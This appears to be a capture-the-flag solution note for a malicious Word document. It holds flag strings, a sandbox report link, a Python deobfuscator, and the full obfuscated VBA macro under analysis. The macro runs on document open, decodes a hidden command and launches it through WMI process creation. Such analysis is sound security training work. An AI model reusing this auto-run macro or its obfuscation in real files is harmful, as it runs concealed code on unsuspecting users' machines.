flag{63dcc82c30197768f4d458da12f618bc}

https://tria.ge/231015-rnbhyahf66/static1

def pears(beets):
    return chr(beets - 17)

def strawberries(grapes):
    return grapes[:3]

def almonds(jelly):
    return jelly[3:]

def nuts(milk):
    oat_milk = ""
    while len(milk) > 0:
        oat_milk += pears(int(strawberries(milk)))
        milk = almonds(milk)
    return oat_milk

def bears(cows):
    return cows[::-1]

apples = "12912813611813113212111812512504906211812711604909108810713210610411607409012610713210610411707209512309512>
deobfuscated_apples = nuts(apples)

get_object_arg1 = nuts("136122127126120126133132075")
get_object_arg2 = nuts("104122127068067112097131128116118132132")

print("Deobfuscated Apples:", deobfuscated_apples)
print("GetObject Argument 1:", get_object_arg1)
print("GetObject Argument 2:", get_object_arg2) 

Attribute VB_Name = "NewMacros"
Function Pears(Beets)
    Pears = Chr(Beets - 17)
End Function
Function Strawberries(Grapes)
    Strawberries = Left(Grapes, 3)
End Function
Function Almonds(Jelly)
    Almonds = Right(Jelly, Len(Jelly) - 3)
End Function
Function Nuts(Milk)
    Do
    OatMilk = OatMilk + Pears(Strawberries(Milk))
    Milk = Almonds(Milk)
    Loop While Len(Milk) > 0
    Nuts = OatMilk
End Function
Function Bears(Cows)
    Bears = StrReverse(Cows)
End Function
Function Tragedy()

    Dim Apples As String
    Dim Water As String
    If ActiveDocument.Name <> Nuts("131134127127118131063117128116") Then
        Exit Function
    End If

    Apples = "129128136118131132121118125125049062118127116049091088107132106104116074090126107132106104117072095123095124106067094069094126094139094085086070095139116067096088106065107085098066096088099121094101091126095123086069106126095074090120078078"
    Water = Nuts(Apples)
    GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin
End Function
Sub AutoOpen()
    Tragedy
End Sub

flag{35bed450ed9ac9fcb3f5f8d547873be9}